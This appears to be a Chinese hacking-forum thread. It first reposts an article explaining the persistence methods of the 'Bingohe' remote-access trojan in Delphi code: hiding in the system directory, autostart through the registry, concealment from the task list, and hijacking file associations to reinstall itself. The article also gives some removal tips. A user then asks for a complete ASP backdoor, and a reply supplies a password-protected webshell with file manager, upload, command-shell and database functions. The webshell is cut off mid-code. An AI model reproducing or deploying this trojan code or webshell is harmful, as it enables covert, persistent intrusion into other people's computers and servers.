其实做这个很简单的,现在我感觉做木马关键在于创意了 我电脑中收集过的一篇文章,给你参考一下 “冰河”启示录 前言:我经常在杂志和报刊上看到此类标题的文章,但大多是骗稿费的,没有任何技术含量.于是一气之下写了这编东西.本人声明如下:(一)本人对"冰河"及其作者没有任何不满,相反,作者肯帮助初学者的态度是我们每一个人都应该学习的.(二)本文的目的在于交流编程经验,没有任何其它不良企图.(三)在一些领域,我们理应宁可自制力让我们的预见力保持寂寞,也不要去做一个打开潘多拉盒子的先知。所以一些更厉害的方法我们现在不会提,以后也不会.--2000.8.3 (1) “冰河”是有名的用C++Builder编写的国产远程管理软件,其自我的功能保护很强,下面就以Delphi为例谈一谈它的原理,希望对大家有一些启发. 一、程序安装 此类程序一般会把自己隐藏起来运行,通常不外乎以下几种方法:自我拷贝法、资源文件法、网页方式安装、类病毒捆绑法(如YAI).自我拷贝法适用于本身就一个文件,资源文件法可以同时安装好几个文件,网页方式安装要先向M$交钱换安全签证,类病毒捆绑法利用了病毒的原理.本文只介绍自我拷贝法,其它方法请到我的个人主页去看. 1:自我拷贝法 这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: procedure TForm1.FormCreate(Sender: TObject); var myname: string; begin myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename GetWindir + myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; end; 其中GetWinDir是自定义函数,起功能是找出Windows\System\的路径. function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]'\' then Result := Result + '\'; end; 另外,为了避免同时运行多个程序的副本(节约系统资源也),程序一般会弄成每次只能运行一个.这又有几种方法. 一种方法是程序运行时先查找有没有相同的运行了,如果有,就立刻退出程序. 修改dpr项目文件,修改begin和end之间的代码如下: begin Application.Initialize; if FindWindow('TForm1','Form1')=0 then begin //当没有找到Form1时执行下面代码 Application.ShowMainForm:=False; //不显示主窗口 Application.CreateForm(TForm1, Form1); Application.Run; end; end. 另一种方法是启动时会先通过窗口名来确定是否已经在运行,如果是则关闭原先的再启动。“冰河”就是用这种方法的。 这样做的好处在于方便升级.它会自动用新版本覆盖旧版本. 方法如下:修改dpr项目文件 uses Forms,windows,messages, Unit1 in 'Unit1.pas' {Form1}; 为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式。 加入Registry单元,改写上面的窗口Create事件,改写后的程序如下: procedure TForm1.FormCreate(Sender: TObject); const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; var myname: string; begin {Write by Lovejingtao, ,Lovejingtao@21cn.com} myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename GetWindir + myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; OpenKey( K, TRUE ); WriteString( 'syspler', application.ExeName ); finally free; end; end; 为了让程序用ALT+DEL+CTRL看不见,在implementation后添加声明: function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; 再在上面的窗口Create事件加上一句:RegisterServiceProcess(GetCurrentProcessID, 1);//隐藏 启示1:当我们中了“冰河”,如果被对方上了密码而无法自己卸载时,可以先找出是什么文件,然后自己配置一个没有密码的来运行,这样它就会把原来有密码的覆盖掉,自己就可以轻松用它的卸载功能把它卸掉.如果你会编程,也可以自己写一个"清除器"了,方法是先查找到窗口名,向它发送退出命令,再把它删除即可. (2) “冰河”的自我功能保护很强,它一般通过Txt或Exe文件关联来达到自我恢复.所以有很多人明明把它杀掉了,但重新启动时又会出现.下面举以Txt文件关联为例. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: uses Registry procedure TForm1.FormCreate(Sender: TObject); const Kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; const K = '\txtfile\shell\open\command'; var sFileName:string; begin //****************************************************** with TRegistry.Create do //写注册表,让程序跟文本文件关联 try RootKey := HKEY_CLASSES_ROOT; OpenKey( K, TRUE ); {Write by Lovejingtao, } WriteString( '', application.ExeName+' "%1" '); {Write by Lovejingtao,lovejingtao@21cn.com} finally free; end; //******************************************************* with TRegistry.Create do //写注册表,每次启动时自动运行 try RootKey := HKEY_LOCAL_MACHINE; OpenKey( Kkk, TRUE ); WriteString( 'myTray', application.ExeName ); finally free; end; //******************************************************** if FileExists(pchar(Getwindir+'Sysplay.exe'))=false then//如果文件已经删除 begin copyfile;//自定义拷贝资源文件过程 winexec(pchar(Getwindir+'Sysplay.exe'),sw_hide); end; //********************************************************** if ParamCount0 then begin (* 有执行参数传入 *) sFileName:=ParamStr(1); (* 取得参数内容 *) winexec(pchar('Notepad.exe '+sFileName),sw_show);(*用记事本打开*) //winexec(pchar( sFileName),sw_show); end; //******************************************************* application.Terminate;//退出 end; 如果要改为与Exe文件关联,只要把"const K = '\txtfile\shell\open\command';"改为 "const K = '\exefile\shell\open\command';",把"winexec(pchar('Notepad.exe '+sFileName),sw_show);" 改为"winexec(pchar( sFileName),sw_show);"即可.当然,还要加入是否退出Windows而运行的Rundll32.dll, 否则会因为关联Exe文件而退不出Windows. 启示2:手工删除“冰河”时,还要改掉它的保护功能,不能让它恢复.如果是关联了文本文件,先改注册表让它不能自动运行,重启后不要打开文本文件,立刻进到其安装目录把它删除.如果是关联了Exe文件,那只有回到Dos下删.切记:一定要把两个文件同时删掉,否则你重启后会发现文件又恢复了
谁能给我个完整asp后门木马代码
将以下文件保存问shell.asp 访问密码是1 仅供学习研究之用,慎重使用。
%
dim ApplicationName,Pass,URL,ServerNM,ServerIP,Action,WWWRoot,FolderPath,FName,BackUrl,RW
Server.ScriptTimeout=50000
On Error Resume Next
ApplicationName = "WebShell"
UserPass = "1" '设置密码.
URL = Request.ServerVariables("URL")
ServerNM = Request.ServerVariables("SERVER_NAME")
ServerIP = Request.ServerVariables("LOCAL_ADDR")
Action = Request("Action")
RootPath = Server.MapPath(".")
WWWRoot = Server.MapPath("/")
FolderPath = Request("FolderPath")
FName = Request("FName")
BackUrl = "meta http-equiv='refresh' content='2;URL=?Action=ShowFile'"
If Request("Pass")=UserPass then Session("webadmin")=UserPass
If Session("webadmin")UserPass Then
If Request.Form("Pass")"" Then
If Request.Form("Pass")=UserPass Then
Session("webadmin")=UserPass
Response.Redirect URL
Else
Response.Write"验证失败!"
End If
Else
RW="center style='font-size:12px'brbrWKWL专用ASP木马"
RW=RW "form action='" URL "' method='post'"
RW=RW "密码:input name='Pass' type='password' size='15' style='font-size: 12px;border: menu 1px solid'"
RW=RW " input type='submit' value='杀进去' style='border-width: 1px'/form/center"
Response.Write RW
RW=""
End If
Response.End
End If%
object runat='server' id='ws' scope='page' classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8'/object
object runat='server' id='ws' scope='page' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'/object
object runat='server' id='fso' scope='page' classid='clsid:0D43FE01-F093-11CF-8940-00A0C9054228'/object
object runat='server' id='sa' scope='page' classid='clsid:13709620-C279-11CE-A49E-444553540000'/object
html
head
meta http-equiv="Content-Type" content="text/html; charset=gb2312"
title%=ApplicationName" - "ServerIP%/title
style type="text/css"
!--
body,td {font-size: 12px;}
body {margin-left: 0px;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;
%If Action="" then response.write "overflow-x:hidden;overflow-y:hidden;"%}
input,select,textarea {font-size: 12px;}
.border{border: menu 1px solid;}
.submit{border-width: 1px;}
a {color: black;text-decoration: none;}
--
/style
script language="javascript"
function yesok(){
if (confirm("确认要执行此操作吗?"))
return true;
else
return false;
}
function ShowFolder(Folder){
top.addrform.FolderPath.value = Folder;
top.addrform.submit();
}
function FullForm(FName,FAction){
top.hideform.FName.value = FName;
if(FAction=="CopyFile"){
DName = prompt("请输入复制到目标文件全名称",FName);
top.hideform.FName.value += "||||"+DName;
}else if(FAction=="MoveFile"){
DName = prompt("请输入移动到目标文件全名称",FName);
top.hideform.FName.value += "||||"+DName;
}else if(FAction=="CopyFolder"){
DName = prompt("请输入移动到目标文件夹全名称",FName);
top.hideform.FName.value += "||||"+DName;
}else if(FAction=="MoveFolder"){
DName = prompt("请输入移动到目标文件夹全名称",FName);
top.hideform.FName.value += "||||"+DName;
}else if(FAction=="NewFolder"){
DName = prompt("请输入要新建的文件夹全名称",FName);
top.hideform.FName.value = DName;
}else if(FAction=="CreateMdb"){
DName = prompt("请输入要新建的Mdb文件全名称,注意不能同名!",FName);
top.hideform.FName.value = DName;
}else if(FAction=="CompactMdb"){
DName = prompt("请输入要压缩的Mdb文件全名称,注意文件是否存在!",FName);
top.hideform.FName.value = DName;
}else{
DName = "Other";
}
if(DName!=null){
top.hideform.Action.value = FAction;
top.hideform.submit();
}else{
top.hideform.FName.value = "";
}
}
function DbCheck(){
if(DbForm.DbStr.value == ""){
alert("请先连接数据库");
FullDbStr(0);
return false;
}
return true;
}
function FullDbStr(i){
if(i0){
return false;
}
Str = new Array(12);
Str[0] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=%=RePath(Session("FolderPath"))%\\DbName.mdb;Jet OLEDB:Database Password=***";
Str[1] = "Driver={Sql Server};Server=%=ServerIP%,1433;Database=DbName;Uid=sa;Pwd=****";
Str[2] = "Driver={MySql};Server=%=ServerIP%;Port=3306;Database=DbName;Uid=root;Pwd=****";
Str[3] = "Dsn=DsnName";
Str[4] = "SELECT * FROM [TableName] WHERE ID100";
Str[5] = "INSERT INTO [TableName](USER,PASS) VALUES(\'username\',\'password\')";
Str[6] = "DELETE FROM [TableName] WHERE ID=100";
Str[7] = "UPDATE [TableName] SET USER=\'username\' WHERE ID=100";
Str[8] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))";
Str[9] = "DROP TABLE [TableName]";
Str[10]= "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)";
Str[11]= "ALTER TABLE [TableName] DROP COLUMN PASS";
Str[12]= "当只显示一条数据时即可显示字段的全部字节,可用条件控制查询实现.\n超过一条数据只显示字段的前五十个字节。";
if(i=3){
DbForm.DbStr.value = Str[i];
DbForm.SqlStr.value = "";
SFSO.innerHTML="center请确认己连接数据库再输入SQL操作命令语句。/center";
}else if(i==12){
alert(Str[i]);
}else{
DbForm.SqlStr.value = Str[i];
}
return true;
}
function FullSqlStr(str,pg){
if(DbForm.DbStr.value.length5){
alert("请检查数据库连接串是否正确!")
return false;
}
if(str.length10){
alert("请检查SQL语句是否正确!")
return false;
}
DbForm.SqlStr.value = str ;
DbForm.Page.value = pg;
SFSO.innerHTML="";
DbForm.submit();
return true;
}
function CheckAll(){
for (var i=0;iDownId.length;i++) DownId[i].checked=!DownId[i].checked;
}
function Url(){
for (var i=0;iDownId.length;i++)
{
if (DownId[i].checked==true)
{
temp.value+=DownId[i].value+"\n";
}
}
if (temp.value=="")
{
window.alert("你还没有选择要下载的地址!");
return false;}
else
{
js=temp.createTextRange();
js.execCommand("Copy");
temp.value="";
window.alert("复制完毕!记得在复制之前打开下载工具监视剪贴板。");
}
}
/script
meta http-equiv="Content-Type" content="text/html; charset=gb2312"
/head
body onmouseover="window.status='Powered by:Lzhj QQ:5079087';return true"
%
Dim ObT(13,1)
ObT(0,0) = "Scripting.FileSystemObject"
ObT(0,1) = "文件操作组件"
ObT(1,0) = "wscript.shell"
ObT(1,1) = "命令行执行组件"
ObT(2,0) = "ADOX.Catalog"
ObT(2,1) = "ACCESS建库组件"
ObT(3,0) = "JRO.JetEngine"
ObT(3,1) = "ACCESS压缩组件"
ObT(4,0) = "Scripting.Dictionary"
ObT(4,1) = "数据流上传辅助组件"
ObT(5,0) = "Adodb.connection"
ObT(5,1) = "数据库连接组件"
ObT(6,0) = "Adodb.Stream"
ObT(6,1) = "数据流上传组件"
ObT(7,0) = "SoftArtisans.FileUp"
ObT(7,1) = "SA-FileUp 文件上传组件"
ObT(8,0) = "LyfUpload.UploadFile"
ObT(8,1) = "刘云峰文件上传组件"
ObT(9,0) = "Persits.Upload.1"
ObT(9,1) = "ASPUpload 文件上传组件"
ObT(10,0) = "JMail.SmtpMail"
ObT(10,1) = "JMail 邮件收发组件"
ObT(11,0) = "CDONTS.NewMail"
ObT(11,1) = "虚拟SMTP发信组件"
ObT(12,0) = "SmtpMail.SmtpMail.1"
ObT(12,1) = "SmtpMail发信组件"
ObT(13,0) = "Microsoft.XMLHTTP"
ObT(13,1) = "数据传输组件"
Function IsObj(obt)
dim i,T
on error resume next
Set T=Server.CreateObject(obt)
If -2147221005 Err Then
IsObj=True
Else
IsObj=false
Err.Clear
End If
Set T=Nothing
End Function
sub ShowErr()
If Err Then
Response.Write"bra href='javascript:history.back()' " Err.Description "/a"
Err.Clear:Response.Flush
End If
end sub
Function RePath(S)
RePath=Replace(S,"\","\\")
End Function
Function RRePath(S)
RRePath=Replace(S,"\\","\")
End Function
Function HTMLEncode(S)
if not isnull(S) then
S = replace(S, "", "")
S = replace(S, "", "")
S = replace(S, CHR(39), "'")
S = replace(S, CHR(34), """)
S = replace(S, CHR(20), " ")
HTMLEncode = S
end if
End Function
If FolderPath"" then
Session("FolderPath")=RRePath(FolderPath)
End If
If Session("FolderPath")="" Then
FolderPath=RootPath
Session("FolderPath")=FolderPath
End if
dim fso,osm,ads,rs,conn
Function MainMenu()
RW="form name='hideform' method='post' action='" URL "' target='FileFrame'"
RW=RW "input type='hidden' name='Action'input type='hidden' name='FName'/form"
RW=RW "table width='100%' height='100%' border='0' cellpadding='0' cellspacing='0' bgcolor='menu'"
RW=RW "trtd height='20'"
RW=RW "table width='100%' height='20' border='0' cellpadding='0' cellspacing='0'"
RW=RW "form name='addrform' method='post' action='" URL "' target='_parent'"
RW=RW "trtd width='60' align='center'地址栏:/tdtd"
RW=RW "input name='FolderPath' style='width:100%' value='" Session("FolderPath") "' style='border:black 1px solid;'"
RW=RW "/tdtd width='60' align='center'input name='Submit' type='submit' value='转到' class='43fb-e323-86f8-e880 submit'"
RW=RW "/td/tr/form/table/td/trtrtd height='20' 文件操作:"
Set SFSO=New LBF:SFSO.ShowDriver():Set SFSO=Nothing
RW=RW "a href='javascript:ShowFolder(""C:\\Progra~1"")'[程序文件]/a a href='javascript:ShowFolder(""C:\\Docume~1"")'[我的文档]/a "
RW=RW "a href='javascript:ShowFolder("""RePath(WWWRoot)""")'[网站目录]/a/tr/tdtrtd height='20'"
RW=RW " 切换功能:a href='javascript:FullForm("""RePath(Session("FolderPath")"\NewFolder")""",""NewFolder"")'[新建目录]/a "
RW=RW "a href='?Action=EditFile' target='FileFrame'[新建文本]/a a href='?Action=UpFile' target='FileFrame'[文件上传]/a "
RW=RW "a href='?Action=CmdShell' target='FileFrame'[CMD命令行]/a a href='?Action=TSearch' target='FileFrame'[搜索引擎]/a "
RW=RW "a href='?Action=Course' target='FileFrame'[系统服务]/a a href='?Action=TRegedit' target='FileFrame'[注册表操作]/a "
RW=RW "a href='?Action=ServerInfo' target='FileFrame'[服务器信息]/a/td/trtrtd height='20' 数据库功能:a href='?Action=DbManager' target='FileFrame'[数据库操作]/a "
RW=RW "a href='?Action=ToMdb' target='FileFrame'[程序打包入库/出库]/a | a href='?Action=Logout' target='_top'[退出登录]/a"
RW=RW "trtdiframe name='FileFrame' src='?Action=ShowFile' width='100%' height='100%' frameborder='1' scrolling='yes'/iframe/td/tr/table"
Response.Write RW
RW=""
End Function
if request("DownFile")"" then call DownFile(request("DownFile"))
Function DownFile(Path)
Response.Clear
On Error Resume Next
Set osm = CreateObject(ObT(6,0))
osm.Open
osm.Type = 1
osm.LoadFromFile Path
sz=InstrRev(path,"\")+1
Response.AddHeader "Content-Disposition", "attachment; filename=" Mid(path,sz)
Response.AddHeader "Content-Length",osm.Size
Response.Charset = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite osm.Read
Response.Flush
osm.Close
Set osm = Nothing
Response.End
End Function
Class LBF
Private Sub Class_Initialize
Set fso=CreateObject(ObT(0,0))
End Sub
Private Sub Class_Terminate
Set fso=Nothing
End Sub
Function ShowDriver()
dim D
For Each D in fso.Drives
RW=RW"a href='javascript:ShowFolder("""D.DriveLetter":\\"")'磁盘["D.DriveLetter":]/a "
Next
ShowDriver=RW
End Function
Function ShowFile(Path)
dim F,L,Fold,i
RW="table border='0' cellpadding='2' width='800' height='100%' bgcolor='#EFEFEF' align='center'"
RW=RW "trtd width='200' valign='top'"
RW=RW "table border='0' cellpadding='0' cellspacing='0' width='100%'"
RW=RW "trtd width='100%'/td/tr"
Set FOLD=fso.GetFolder(Path)
For Each F in FOLD.subfolders
RW=RW "trtd width='100%' height='20'a href='javascript:ShowFolder("""RePath(Path"\"F.Name)""")'["F.Name"]/a"
RW=RW " |a href='javascript:FullForm("""Replace(Path"\"F.Name,"\","\\")""",""DelFolder"")' onclick='return yesok()'删除/a"
RW=RW " a href='javascript:FullForm("""RePath(Path"\"F.Name)""",""CopyFolder"")' onclick='return yesok()'复制/a"
RW=RW " a href='javascript:FullForm("""RePath(Path"\"F.Name)""",""MoveFolder"")' onclick='return yesok()'移动/a/td/tr"
Next
RW=RW "/table/tdtd width='600' valign='top' bgcolor='#FFFFFF'table border='0' cellspacing='1' cellpadding='0' cellspacing='0' width='100%'"
Response.Write RW : RW=""
For Each L in Fold.files
i=i+1
RW="tr onMouseOver=""this.className='tr'"" onMouseOut=""this.className=''"" "
RW=RW "td width='45%' input type='checkbox' name='DownId' value='http://"ServerNMURL"?Pass="UserPass"DownFile="RePath(Path"\"L.Name)"'"
RW=RW "a href='javascript:FullForm("""RePath(Path"\"L.Name)""",""DownFile"");' title='下载'"L.Name"/a/td"
RW=RW "td width='10%'"clng(L.size/1024)"K/td"
RW=RW "td width='20%' align='center'" year(L.DateLastModified) "-" right("0"month(L.DateLastModified),2) "-" right("0"day(L.DateLastModified),2) " " FormatDateTime(L.DateLastModified,4)
RW=RW "td width='25%' align='center'a href='javascript:FullForm("""RePath(Path"\"L.Name)""",""EditFile"")'编辑/a "
RW=RW "a href='javascript:FullForm("""RePath(Path"\"L.Name)""",""DelFile"")' onclick='return yesok()'删除/a "
RW=RW "a href='javascript:FullForm("""RePath(Path"\"L.Name)""",""CopyFile"")'复制/a "
RW=RW "a href='javascript:FullForm("""RePath(Path"\"L.Name)""",""MoveFile"")'移动/a/td/td/tr"
Response.Write RW : RW=""
Next
if i0 then Response.Write "trtdbrinput type='checkbox' name='all' value='all' onClick='CheckAll()'反向选择 input type='submit' value='批量下载' name='downurl' style='width:80' onClick='Url()' class='e323-86f8-e880-4c3f submit'div style=display:'none'textarea rows='0' name='temp' cols='0'/textarea/div/td/tr"
i=0
Response.Write "/table/td/tr/table"
Set FOLD=Nothing
End Function
Function EditFile(Path)
dim T
If Request("Action2")="Post" Then
Set T=fso.CreateTextFile(Path)
T.WriteLine Request.form("content")
T.close
Set T=Nothing
Set fso=Nothing
RW="centerbrbrbr文件保存成功!/center"
RW=RW BackUrl
Response.Write RW : RW=""
Response.End
End If
If Path"" Then
Set T=fso.opentextfile(Path, 1, False)
On Error Resume Next
Txt=HTMLEncode(T.readall)
if err then err.Clear
T.close
Set T=Nothing
Else
Path=Session("FolderPath")"\newfile.asp":Txt="新建文件"
End If
RW="brtable width='600' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'"
RW=RW"Form action='"URL"?Action2=Post' method='post' name='EditForm'trtd height='20' align='center' bgcolor='menu'文本编辑器/td/tr"
RW=RW"trtd bgcolor='#FFFFFF' align='center'input name='Action' value='EditFile' Type='hidden'"
RW=RW"input name='FName' value='"Path"' style='width:580' class='86f8-e880-4c3f-3fcd border'/td/tr"
RW=RW"trtd bgcolor='#FFFFFF' align='center'textarea name='Content' style='width:580;height:450' class='e880-4c3f-3fcd-02d7 border'"Txt"/textarea/td/tr"
RW=RW"trtd bgcolor='#FFFFFF' align='center'input name='goback' type='button' value='返回' onclick='history.back();' class='f0f9-56ae-689e-e6f4 submit' input name='reset' type='reset' value='重置' class='56ae-689e-e6f4-27e6 submit' input name='submit' type='submit' value='保存' class='689e-e6f4-27e6-d857 submit'"
RW=RW"/td/tr/form/table"
Response.Write RW : RW=""
End Function
Function DelFile(Path)
If fso.FileExists(Path) Then
fso.DeleteFile Path
RW="centerbrbrbr文件 "Path" 删除成功!/center"
RW=RW BackUrl
Response.Write RW
End If
End Function
Function CopyFile(Path)
Path = Split(Path,"||||")
If fso.FileExists(Path(0)) and Path(1)"" Then
fso.CopyFile Path(0),Path(1)
RW="centerbrbrbr文件" Path(0) "复制成功!/center"
RW=RW BackUrl
Response.Write RW : RW=""
End If
End Function
Function MoveFile(Path)
Path = Split(Path,"||||")
If fso.FileExists(Path(0)) and Path(1)"" Then
fso.MoveFile Path(0),Path(1)
RW="centerbrbrbr文件" Path(0) "移动成功!/center"
RW=RW BackUrl
Response.Write RW : RW=""
End If
End Function
Function DelFolder(Path)
If fso.FolderExists(Path) Then
fso.DeleteFolder Path
RW="centerbrbrbr目录" Path "删除成功!/center"
RW=RW BackUrl
Response.Write RW : RW=""
End If
End Function
Function CopyFolder(Path)
Path = Split(Path,"||||")
If fso.FolderExists(Path(0)) and Path(1)"" Then
fso.CopyFolder Path(0),Path(1)
RW="centerbrbrbr目录" Path(0) "复制成功!/center"
RW=RW BackUrl
Response.Write RW : RW=""
End If
End Function
Function MoveFolder(Path)
Path = Split(Path,"||||")
If fso.FolderExists(Path(0)) and Path(1)"" Then
fso.MoveFolder Path(0),Path(1)
RW="centerbrbrbr目录" Path(0) "移动成功!/center"
RW=RW BackUrl
Response.Write RW : RW=""
End If
End Function
Function NewFolder(Path)
If Not fso.FolderExists(Path) and Path"" Then
fso.CreateFolder Path
RW="centerbrbrbr目录" Path "新建成功!/center"
RW=RW BackUrl
Response.Write RW : RW=""
End If
End Function
End Class
Function UpFile()
dim strFileName
If Request("Action2")="Post" Then
Set U=new UPC : Set F=U.UA("LocalFile")
UName=U.form("ToPath")
If UName="" Or F.FileSize=0 then
RW="br请输入上传的完全路径后选择一个文件上传!"
Else
F.SaveAs UName
If Err.number=0 Then
RW="centerbrbrbr文件" UName "上传成功!/center"
End if
End If
Set F=nothing:Set U=nothing
RW=RW BackUrl
Response.Write RW
ShowErr()
Response.End
End If
RW="brtable width='600' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'"
RW=RW "form name='UpForm' method='post' action='"URL"?Action=UpFileAction2=Post' enctype='multipart/form-data'"
RW=RW "trtd height='20' align='center' bgcolor='menu'上传文件/td/tr"
RW=RW "trtd align='center' bgcolor='#FFFFFF'"
RW=RW "上传路径:input name='ToPath' value='"RRePath(Session("FolderPath")"\newup.asp")"' style='width:250' class='e6f4-27e6-d857-db4d border' "
RW=RW "input name='LocalFile' type='file' style='width:225' class='27e6-d857-db4d-66b4 border' "
RW=RW "input type='submit' name='Submit' value='上传' class='d857-db4d-66b4-1b63 submit'"
RW=RW "/td/tr/form/table"
Response.Write RW
End Function
Dim T1
Class UPC
Dim D1,D2
Public Function Form(F)
F=lcase(F)
If D1.exists(F) then:Form=D1(F):else:Form="":end if
End Function
Public Function UA(F)
F=lcase(F)
If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if
End Function
Private Sub Class_Initialize
Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName
set D1=CreateObject("Scripting.Dictionary")
if Request.TotalBytes1 then Exit Sub
set T1 = CreateObject(ObT(6,0))
T1.Type = 1 : T1.Mode =3 : T1.Open
T1.Write Request.BinaryRead(Request.TotalBytes)
T1.Position=0 : TDa =T1.Read : DStart = 1
DEnd = LenB(TDa)
set D2=CreateObject("Scripting.Dictionary")
vbCrlf = chrB(13) chrB(10)
set T2 = CreateObject(ObT(6,0))
TSt